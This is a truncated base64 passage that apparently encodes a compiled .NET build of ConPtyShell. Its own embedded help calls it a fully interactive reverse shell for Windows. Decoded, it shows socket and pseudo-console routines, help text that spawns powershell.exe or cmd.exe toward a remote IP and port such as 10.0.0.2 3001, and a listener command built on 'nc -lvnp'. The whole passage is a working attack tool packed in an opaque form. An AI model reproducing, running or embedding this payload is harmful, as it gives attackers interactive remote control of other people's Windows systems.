REeW5hbWljAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAEdldFNvY2tldFRhcmdldFByb2Nlc3MASXNTb2NrZXRJbmhlcml0ZWQARHVwbGljYXRlVGFyZ2V0UHJvY2Vzc1NvY2tldABQcm9jZXNzSWQAQ3JlYXRvckJhY2tUcmFja0luZGV4AE9iamVjdFR5cGVOdW1iZXIASGFuZGxlQXR0cmlidXRlAEhhbmRsZQBHcmFudGVkQWNjZXNzAHZhbHVlX18AT2JqZWN0QmFzaWNJbmZvcm1hdGlvbgBPYmplY3ROYW1lSW5mb3JtYXRpb24AT2JqZWN0VHlwZUluZm9ybWF0aW9uAE9iamVjdEFsbFR5cGVzSW5mb3JtYXRpb24AT2JqZWN0SGFuZGxlSW5mb3JtYXRpb24ATmFtZQBMZW5ndGgATWF4aW11bUxlbmd0aABCdWZmZXIAQWxsAFRlcm1pbmF0ZQBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFZpcnR1YWxNZW1vcnlSZWFkAFZpcnR1YWxNZW1vcnlXcml0ZQBDcmVhdGVQcm9jZXNzAFNldFF1b3RhAFNldEluZm9ybWF0aW9uAFF1ZXJ5SW5mb3JtYXRpb24AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU3luY2hyb25pemUAd1ZlcnNpb24Ad0hpZ2hWZXJzaW9uAGlNYXhTb2NrZXRzAGlNYXhVZHBEZwBscFZlbmRvckluZm8Ac3pEZXNjcmlwdGlvbgBzelN5c3RlbVN0YXR1cwBDaGFpbkxlbgBDaGFpbkVudHJpZXMAZHdTZXJ2aWNlRmxhZ3MxAGR3U2VydmljZUZsYWdzMgBkd1NlcnZpY2VGbGFnczMAZHdTZXJ2aWNlRmxhZ3M0AGR3UHJvdmlkZXJGbGFncwBHdWlkAFByb3ZpZGVySWQAZHdDYXRhbG9nRW50cnlJZABQcm90b2NvbENoYWluAGlWZXJzaW9uAGlBZGRyZXNzRmFtaWx5AGlNYXhTb2NrQWRkcgBpTWluU29ja0FkZHIAaVNvY2tldFR5cGUAaVByb3RvY29sAGlQcm90b2NvbE1heE9mZnNldABpTmV0d29ya0J5dGVPcmRlcgBpU2VjdXJpdHlTY2hlbWUAZHdNZXNzYWdlU2l6ZQBkd1Byb3ZpZGVyUmVzZXJ2ZWQAc3pQcm90b2NvbABzaW5fZmFtaWx5AHNpbl9wb3J0AHNpbl9hZGRyAHNpbl96ZXJvAFJlc2VydmVkMQBQZWJCYXNlQWRkcmVzcwBSZXNlcnZlZDJfMABSZXNlcnZlZDJfMQBVbmlxdWVQcm9jZXNzSWQASW5oZXJpdGVkRnJvbVVuaXF1ZVByb2Nlc3NJZABOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzAEdldFBhcmVudFByb2Nlc3MAZXJyb3JTdHJpbmcARU5BQkxFX1ZJUlRVQUxfVEVSTUlOQUxfUFJPQ0VTU0lORwBESVNBQkxFX05FV0xJTkVfQVVUT19SRVRVUk4AUFJPQ19USFJFQURfQVRUUklCVVRFX1BTRVVET0NPTlNPTEUARVhURU5ERURfU1RBUlRVUElORk9fUFJFU0VOVABDUkVBVEVfTk9fV0lORE9XAFNUQVJURl9VU0VTVERIQU5ETEVTAEJVRkZFUl9TSVpFX1BJUEUASU5GSU5JVEUAU1dfSElERQBHRU5FUklDX1JFQUQAR0VORVJJQ19XUklURQBGSUxFX1NIQVJFX1JFQUQARklMRV9TSEFSRV9XUklURQBGSUxFX0FUVFJJQlVURV9OT1JNQUwAT1BFTl9FWElTVElORwBTVERfSU5QVVRfSEFORExFAFNURF9PVVRQVVRfSEFORExFAFNURF9FUlJPUl9IQU5ETEUASW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0AFVwZGF0ZVByb2NUaHJlYWRBdHRyaWJ1dGUAQ3JlYXRlUHJvY2Vzc1cAVGVybWluYXRlUHJvY2VzcwBTZXRTdGRIYW5kbGUAR2V0U3RkSGFuZGxlAENyZWF0ZVBpcGUAQ3JlYXRlRmlsZQBSZWFkRmlsZQBXcml0ZUZpbGUAQ3JlYXRlUHNldWRvQ29uc29sZQBDbG9zZVBzZXVkb0NvbnNvbGUAU2V0Q29uc29sZU1vZGUAR2V0Q29uc29sZU1vZGUAQWxsb2NDb25zb2xlAEZyZWVDb25zb2xlAFNob3dXaW5kb3cAR2V0Q29uc29sZVdpbmRvdwBHZXRNb2R1bGVIYW5kbGUAR2V0UHJvY0FkZHJlc3MAU3lzdGVtLk5ldC5Tb2NrZXRzAEFkZHJlc3NGYW1pbHkAU29ja2V0VHlwZQBQcm90b2NvbFR5cGUAY29ubmVjdABodG9ucwBpbmV0X2FkZHIAY2xvc2Vzb2NrZXQAcmVjdgBzZW5kAE50U3VzcGVuZFByb2Nlc3MATnRSZXN1bWVQcm9jZXNzAGNvbm5lY3RSZW1vdGUAVHJ5UGFyc2VSb3dzQ29sc0Zyb21Tb2NrZXQAQ3JlYXRlUGlwZXMASW5pdENvbnNvbGUAUmVzdG9yZVN0ZEhhbmRsZXMARW5hYmxlVmlydHVhbFRlcm1pbmFsU2VxdWVuY2VQcm9jZXNzaW5nAENyZWF0ZVBzZXVkb0NvbnNvbGVXaXRoUGlwZXMAQ29uZmlndXJlUHJvY2Vzc1RocmVhZABSdW5Qcm9jZXNzAENyZWF0ZUNoaWxkUHJvY2Vzc1dpdGhQc2V1ZG9Db25zb2xlAFRocmVhZFJlYWRQaXBlV3JpdGVTb2NrZXQAU3lzdGVtLlRocmVhZGluZwBUaHJlYWQAU3RhcnRUaHJlYWRSZWFkUGlwZVdyaXRlU29ja2V0AFRocmVhZFJlYWRTb2NrZXRXcml0ZVBpcGUAU3RhcnRUaHJlYWRSZWFkU29ja2V0V3JpdGVQaXBlAFNwYXduQ29uUHR5U2hlbGwAU3RhcnR1cEluZm8AbHBBdHRyaWJ1dGVMaXN0AGNiAGxwUmVzZXJ2ZWQAbHBEZXNrdG9wAGxwVGl0bGUAZHdYAGR3WQBkd1hTaXplAGR3WVNpemUAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAGR3RmlsbEF0dHJpYnV0ZQBkd0ZsYWdzAHdTaG93V2luZG93AGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyAGhTdGRJbnB1dABoU3RkT3V0cHV0AGhTdGRFcnJvcgBoUHJvY2VzcwBoVGhyZWFkAGR3UHJvY2Vzc0lkAGR3VGhyZWFkSWQAbkxlbmd0aABscFNlY3VyaXR5RGVzY3JpcHRvcgBiSW5oZXJpdEhhbmRsZQBYAFkAaGVscABIZWxwUmVxdWlyZWQAQ2hlY2tBcmdzAERpc3BsYXlIZWxwAENoZWNrUmVtb3RlSXBBcmcAQ2hlY2tJbnQAUGFyc2VSb3dzAFBhcnNlQ29scwBQYXJzZUNvbW1hbmRMaW5lAENvblB0eVNoZWxsTWFpbgBNYWluAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBDb25QdHlTaGVsbF9uZXQyAG1lc3NhZ2UAU3RyaW5nAENvbmNhdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbABoT2JqZWN0AGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAS2VybmVsMzIuZGxsAGxwVGhyZWFkQXR0cmlidXRlcwBkd1N0YWNrU2l6ZQBscFN0YXJ0QWRkcmVzcwBscFBhcmFtZXRlcgBkd0NyZWF0aW9uRmxhZ3MAbHBUaHJlYWRJZABPdXRBdHRyaWJ1dGUAdGhyZWFkUGFyYW1zAHRIYW5kbGUASW50UHRyAFplcm8Ab2JqZWN0AG1ldGhvZABscFBhcmFtAGNhbGxiYWNrAHJlc3VsdAB3czJfMzIuZGxsAHdWZXJzaW9uUmVxdWVzdGVkAHdzYURhdGEAV1MyXzMyLkRMTABzb2NrZXRIYW5kbGUAcHJvY2Vzc0lkAHBpbm5lZEJ1ZmZlcgBhZGRyZXNzRmFtaWx5AEluQXR0cmlidXRlAHNvY2tldFR5cGUAcHJvdG9jb2xUeXBlAGxwUHJvdG9jb2xJbmZvAGdyb3VwMQBzAG5hbWUAbmFtZWxlbgBwcm9jZXNzQWNjZXNzAE1hcnNoYWxBc0F0dHJpYnV0ZQBVbm1hbmFnZWRUeXBlAGhTb3VyY2VQcm9jZXNzSGFuZGxlAGhTb3VyY2VIYW5kbGUAaFRhcmdldFByb2Nlc3NIYW5kbGUAbHBUYXJnZXRIYW5kbGUAZHdEZXNpcmVkQWNjZXNzAGR3T3B0aW9ucwBudGRsbC5kbGwAb2JqZWN0SGFuZGxlAGluZm9ybWF0aW9uQ2xhc3MAaW5mb3JtYXRpb25QdHIAaW5mb3JtYXRpb25MZW5ndGgAcmV0dXJuTGVuZ3RoAFN5c3RlbUluZm9ybWF0aW9uQ2xhc3MAU3lzdGVtSW5mb3JtYXRpb24AU3lzdGVtSW5mb3JtYXRpb25MZW5ndGgAaW5mb0NsYXNzAGluZm9MZW5ndGgATWFyc2hhbABBbGxvY0hHbG9iYWwARnJlZUhHbG9iYWwAaGFuZGxlAEludDMyAFR5cGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAU2l6ZU9mAHRhcmdldFByb2Nlc3MAZ2V0X0lkAG9wX0VxdWFsaXR5AFRvU3RyaW5nAENvbnNvbGUAV3JpdGVMaW5lAFJlYWRJbnRQdHIAVG9JbnQ2NABnZXRfU2l6ZQBQdHJUb1N0cnVjdHVyZQBvcF9FeHBsaWNpdABvcF9JbmVxdWFsaXR5AFB0clRvU3RyaW5nVW5pAHBhcmVudFByb2Nlc3MARm9ybWF0AFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAEZsYWdzQXR0cmlidXRlAHByb2Nlc3NIYW5kbGUAcHJvY2Vzc0luZm9ybWF0aW9uQ2xhc3MAcHJvY2Vzc0luZm9ybWF0aW9uAHByb2Nlc3NJbmZvcm1hdGlvbkxlbmd0aABnZXRfSGFuZGxlAGlkAEdldFByb2Nlc3NCeUlkAFRvSW50MzIAQXJndW1lbnRFeGNlcHRpb24AZHdBdHRyaWJ1dGVDb3VudABscFNpemUAYXR0cmlidXRlAGxwVmFsdWUAY2JTaXplAGxwUHJldmlvdXNWYWx1ZQBscFJldHVyblNpemUAbHBBcHBsaWNhdGlvbk5hbWUAbHBDb21tYW5kTGluZQBscFByb2Nlc3NBdHRyaWJ1dGVzAGJJbmhlcml0SGFuZGxlcwBscEVudmlyb25tZW50AGxwQ3VycmVudERpcmVjdG9yeQBscFN0YXJ0dXBJbmZvAGxwUHJvY2Vzc0luZm9ybWF0aW9uAHVFeGl0Q29kZQBuU3RkSGFuZGxlAGhSZWFkUGlwZQBoV3JpdGVQaXBlAGxwUGlwZUF0dHJpYnV0ZXMAblNpemUAbHBGaWxlTmFtZQBkd1NoYXJlTW9kZQBTZWN1cml0eUF0dHJpYnV0ZXMAZHdDcmVhdGlvbkRpc3Bvc2l0aW9uAGR3RmxhZ3NBbmRBdHRyaWJ1dGVzAGhUZW1wbGF0ZUZpbGUAaEZpbGUAbHBCdWZmZXIAbk51bWJlck9mQnl0ZXNUb1JlYWQAbHBOdW1iZXJPZkJ5dGVzUmVhZABscE92ZXJsYXBwZWQAbk51bWJlck9mQnl0ZXNUb1dyaXRlAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4Ac2l6ZQBoSW5wdXQAaE91dHB1dABwaFBDAGhQQwBoQ29uc29sZUhhbmRsZQBtb2RlAHVzZXIzMi5kbGwAaFduZABuQ21kU2hvdwBscE1vZHVsZU5hbWUAa2VybmVsMzIAaE1vZHVsZQBwcm9jTmFtZQBwcm90b2NvbEluZm8AZ3JvdXAAZmxhZ3MAYWRkcgBhZGRyc2l6ZQBob3N0c2hvcnQAY3AAU29ja2V0AGJ1ZgBsZW4AcmVtb3RlSXAAcmVtb3RlUG9ydABDb252ZXJ0AHNoZWxsU29ja2V0AHJvd3MAY29scwBTbGVlcABCeXRlAFN5c3RlbS5UZXh0AEVuY29kaW5nAGdldF9BU0NJSQBHZXRTdHJpbmcAQ2hhcgBTcGxpdABUcmltAFRyeVBhcnNlAElucHV0UGlwZVJlYWQASW5wdXRQaXBlV3JpdGUAT3V0cHV0UGlwZVJlYWQAT3V0cHV0UGlwZVdyaXRlAG9sZFN0ZEluAG9sZFN0ZE91dABvbGRTdGRFcnIAaGFuZGxlUHNldWRvQ29uc29sZQBDb25QdHlJbnB1dFBpcGVSZWFkAENvblB0eU91dHB1dFBpcGVXcml0ZQBhdHRyaWJ1dGVzAEdldExhc3RXaW4zMkVycm9yAHNJbmZvRXgAY29tbWFuZExpbmUAUGFyYW1ldGVyaXplZFRocmVhZFN0YXJ0AFN0YXJ0AGhDaGlsZFByb2Nlc3MAdXBncmFkZVNoZWxsAEFib3J0AHBhcmFtAGFyZ3VtZW50cwBTeXN0ZW0uSU8AVGV4dFdyaXRlcgBnZXRfT3V0AFdyaXRlAGlwU3RyaW5nAFN5c3RlbS5OZXQASVBBZGRyZXNzAGFyZwBhcmdzAENvbnRhaW5zAC5jY3RvcgAAAAAANVsALQBdACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAEUAeABjAGUAcAB0AGkAbwBuADoAIAABSUMAYQBuAG4AbwB0ACAAbwBwAGUAbgAgAHQAYQByAGcAZQB0ACAAcAByAG8AYwBlAHMAcwAgAHcAaQB0AGgAIABwAGkAZAAgAAA3IABmAG8AcgAgAEQAdQBwAGwAaQBjAGEAdABlAEgAYQBuAGQAbABlACAAYQBjAGMAZQBzAHMAABdcAEQAZQB2AGkAYwBlAFwAQQBmAGQAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAVABhAHIAZwBlAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAUABhAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHFOAG8AIABcAEQAZQB2AGkAYwBlAFwAQQBmAGQAIABvAGIAagBlAGMAdABzACAAZgBvAHUAbgBkAC4AIABTAG8AYwBrAGUAdAAgAGQAdQBwAGwAaQBjAGEAdABpAG8AbgAgAGYAYQBpAGwAZQBkAC4AAE1XAFMAQQBTAHQAYQByAHQAdQBwACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAEtXAFMAQQBEAHUAcABsAGkAYwBhAHQAZQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAAlIABhAG4AZAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAADlXAFMAQQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAA3UwBwAGUAYwBpAGYAaQBlAGQAIABwAG8AcgB0ACAAaQBzACAAaQBuAHYAYQBsAGkAZAA6ACAAAE1XAFMAQQBDAG8AbgBuAGUAYwB0ACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAD1DAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAdABoAGUAIABJAG4AcAB1AHQAUABpAHAAZQAAP0MAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIAB0AGgAZQAgAE8AdQB0AHAAdQB0AFAAaQBwAGUAAA9DAE8ATgBPAFUAVAAkAAANQwBPAE4ASQBOACQAADVDAG8AdQBsAGQAIABuAG8AdAAgAGcAZQB0ACAAYwBvAG4AcwBvAGwAZQAgAG0AbwBkAGUAAFlDAG8AdQBsAGQAIABuAG8AdAAgAGUAbgBhAGIAbABlACAAdgBpAHIAdAB1AGEAbAAgAHQAZQByAG0AaQBuAGEAbAAgAHAAcgBvAGMAZQBzAHMAaQBuAGcAAICBQwBvAHUAbABkACAAbgBvAHQAIABjAGEAbABjAHUAbABhAHQAZQAgAHQAaABlACAAbgB1AG0AYgBlAHIAIABvAGYAIABiAHkAdABlAHMAIABmAG8AcgAgAHQAaABlACAAYQB0AHQAcgBpAGIAdQB0AGUAIABsAGkAcwB0AC4AIAAAQ0MAbwB1AGwAZAAgAG4AbwB0ACAAcwBlAHQAIAB1AHAAIABhAHQAdAByAGkAYgB1AHQAZQAgAGwAaQBzAHQALgAgAABdQwBvAHUAbABkACAAbgBvAHQAIABzAGUAdAAgAHAAcwBlAHUAZABvAGMAbwBuAHMAbwBsAGUAIAB0AGgAcgBlAGEAZAAgAGEAdAB0AHIAaQBiAHUAdABlAC4AIAAANUMAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIABwAHIAbwBjAGUAcwBzAC4AIAAAAQARawBlAHIAbgBlAGwAMwAyAAAnQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAAgJUNAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAbwB1AG4AZAAhACAAUwBwAGEAdwBuAGkAbgBnACAAYQAgAGYAdQBsAGwAeQAgAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAHMAaABlAGwAbAANAAoAAFV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAbwBuAG4AZQBjAHQAIAB0AG8AIABpAHAAIAB7ADEAfQAgAG8AbgAgAHAAbwByAHQAIAB7ADIAfQAAOXsAewB7AEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgB9AH0AfQANAAoAAGV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAcABzAHUAZQBkAG8AIABjAG8AbgBzAG8AbABlAC4AIABFAHIAcgBvAHIAIABDAG8AZABlACAAewAxAH0AAIC5QwBvAHUAbABkACAAbgBvAHQAIAB1AHAAZwByAGEAZABlACAAcwBoAGUAbABsACAAdABvACAAZgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAYgBlAGMAYQB1AHMAZQAgAEMAbwBuAFAAVABZACAAaQBzACAAbgBvAHQAIABjAG8AbQBwAGEAdABpAGIAbABlACAAbwBuACAAdABoAGkAcwAgAHMAeQBzAHQAZQBtAACArw0ACgBDAHIAZQBhAHQAZQBQAHMAZQB1AGQAbwBDAG8AbgBzAG8AbABlACAAZgB1AG4AYwB0AGkAbwBuACAAbgBvAHQAIABmAG8AdQBuAGQAIQAgAFMAcABhAHcAbgBpAG4AZwAgAGEAIABuAGUAdABjAGEAdAAtAGwAaQBrAGUAIABpAG4AdABlAHIAYQBjAHQAaQB2AGUAIABzAGgAZQBsAGwALgAuAC4ADQAKAAE5QwBvAG4AUAB0AHkAUwBoAGUAbABsACAAawBpAG4AZABsAHkAIABlAHgAaQB0AGUAZAAuAA0ACgAABS0AaAABDS0ALQBoAGUAbABwAAEFLwA/AACAuQ0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAE4AbwB0ACAAZQBuAG8AdQBnAGgAIABhAHIAZwB1AG0AZQBuAHQAcwAuACAAMgAgAEEAcgBnAHUAbQBlAG4AdABzACAAcgBlAHEAdQBpAHIAZQBkAC4AIABVAHMAZQAgAC0ALQBoAGUAbABwACAAZgBvAHIAIABhAGQAZABpAHQAaQBvAG4AYQBsACAAaABlAGwAcAAuAA0ACgABSw0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAEkAbgB2AGEAbABpAGQAIAByAGUAbQBvAHQAZQBJAHAAIAB2AGEAbAB1AGUAAEsNAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsADoAIABJAG4AdgBhAGwAaQBkACAAaQBuAHQAZQBnAGUAcgAgAHYAYQBsAHUAZQAgAAAdcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAAAPdQBwAGcAcgBhAGQAZQAAjqUNAAoADQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgAC0AIABGAHUAbABsAHkAIABJAG4AdABlAHIAYQBjAHQAaQB2AGUAIABSAGUAdgBlAHIAcwBlACAAUwBoAGUAbABsACAAZgBvAHIAIABXAGkAbgBkAG8AdwBzACAADQAKAEEAdQB0AGgAbwByADoAIABzAHAAbABpAG4AdABlAHIAXwBjAG8AZABlAA0ACgBMAGkAYwBlAG4AcwBlADoAIABNAEkAVAANAAoAUwBvAHUAcgBjAGUAOgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AYQBuAHQAbwBuAGkAbwBDAG8AYwBvAC8AQwBvAG4AUAB0AHkAUwBoAGUAbABsAA0ACgAgACAAIAAgAA0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAIAAtACAARgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAAgAGYAbwByACAAVwBpAG4AZABvAHcAcwANAAoADQAKAFAAcgBvAHAAZQByAGwAeQAgAHMAZQB0ACAAdABoAGUAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAdgBhAGwAdQBlAHMALgAgAFkAbwB1ACAAYwBhAG4AIAByAGUAdAByAGkAZQB2AGUAIABpAHQAIABmAHIAbwBtAA0ACgB5AG8AdQByACAAdABlAHIAbQBpAG4AYQBsACAAdwBpAHQAaAAgAHQAaABlACAAYwBvAG0AbQBhAG4AZAAgACIAcwB0AHQAeQAgAHMAaQB6AGUAIgAuAA0ACgANAAoAWQBvAHUAIABjAGEAbgAgAGEAdgBvAGkAZAAgAHQAbwAgAHMAZQB0ACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHYAYQBsAHUAZQBzACAAaQBmACAAeQBvAHUAIAByAHUAbgAgAHkAbwB1AHIAIABsAGkAcwB0AGUAbgBlAHIADQAKAHcAaQB0AGgAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZAA6AA0ACgAgACAAIAAgAHMAdAB0AHkAIAByAGEAdwAgAC0AZQBjAGgAbwA7ACAAKABzAHQAdAB5ACAAcwBpAHoAZQA7ACAAYwBhAHQAKQAgAHwAIABuAGMAIAAtAGwAdgBuAHAAIAAzADAAMAAxAA0ACgANAAoASQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAYwBoAGEAbgBnAGUAIAB0AGgAZQAgAGMAbwBuAHMAbwBsAGUAIABzAGkAegBlACAAZABpAHIAZQBjAHQAbAB5ACAAZgByAG8AbQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwADQAKAHkAbwB1ACAAYwBhAG4AIABwAGEAcwB0AGUAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZABzADoADQAKACAAIAAgACAAJAB3AGkAZAB0AGgAPQA4ADAADQAKACAAIAAgACAAJABoAGUAaQBnAGgAdAA9ADIANAANAAoAIAAgACAAIAAkAEgAbwBzAHQALgBVAEkALgBSAGEAdwBVAEkALgBCAHUAZgBmAGUAcgBTAGkAegBlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAAKAAkAHcAaQBkAHQAaAAsACAAJABoAGUAaQBnAGgAdAApAA0ACgAgACAAIAAgACQASABvAHMAdAAuAFUASQAuAFIAYQB3AFUASQAuAFcAaQBuAGQAbwB3AFMAaQB6AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJAB3AGkAZAB0AGgALAAgACQAaABlAGkAZwBoAHQAKQANAAoADQAKAFUAcwBhAGcAZQA6AA0ACgAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAcgBlAG0AbwB0AGUAXwBpAHAAIAByAGUAbQBvAHQAZQBfAHAAbwByAHQAIABbAHIAbwB3AHMAXQAgAFsAYwBvAGwAcwBdACAAWwBjAG8AbQBtAGEAbgBkAGwAaQBuAGUAXQANAAoADQAKAFAAbwBzAGkAdABpAG8AbgBhAGwAIABhAHIAZwB1AG0AZQBuAHQAcwA6AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AaQBwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABpAHAAIAB0AG8AIABjAG8AbgBuAGUAYwB0AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AcABvAHIAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABwAG8AcgB0ACAAdABvACAAYwBvAG4AbgBlAGMAdAANAAoAIAAgACAAIABbAHIAbwB3AHMAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAG8AdwBzACAAcwBpAHoAZQAgAGYAbwByACAAdABoAGUAIABjAG8AbgBzAG8AbABlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAMgA0ACIADQAKACAAIAAgACAAWwBjAG8AbABzAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQwBvAGwAcwAgAHMAaQB6AGUAIABmAG8AcgAgAHQAaABlACAAYwBvAG4AcwBvAGwAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAZgBhAHUAbAB0ADoAIAAiADgAMAAiAA0ACgAgACAAIAAgAFsAYwBvAG0AbQBhAG4AZABsAGkAbgBlAF0AIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAYwBvAG0AbQBhAG4AZABsAGkAbgBlACAAbwBmACAAdABoAGUAIABwAHIAbwBjAGUAcwBzACAAdABoAGEAdAAgAHkAbwB1ACAAYQByAGUAIABnAG8AaQBuAGcAIAB0AG8AIABpAG4AdABlAHIAYQBjAHQADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoARQB4AGEAbQBwAGwAZQBzADoADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEAIAAzADAAIAA5ADAADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAAoAGMAbQBkAC4AZQB4AGUAKQAgAHcAaQB0AGgAIABzAHAAZQBjAGkAZgBpAGMAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAcwBpAHoAZQANAAoAIAAgACAAIAAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAMQAwAC4AMAAuADAALgAyACAAMwAwADAAMQAgADMAMAAgADkAMAAgAGMAbQBkAC4AZQB4AGUADQAKACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIABVAHAAZwByAGEAZABlACAAeQBvAHUAcgAgAGMAdQByAHIAZQBuAHQAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgAHUAcABnAHIAYQBkAGUAIABzAGgAZQBsAGwAIAAzADAAIAA5ADAADQAKACA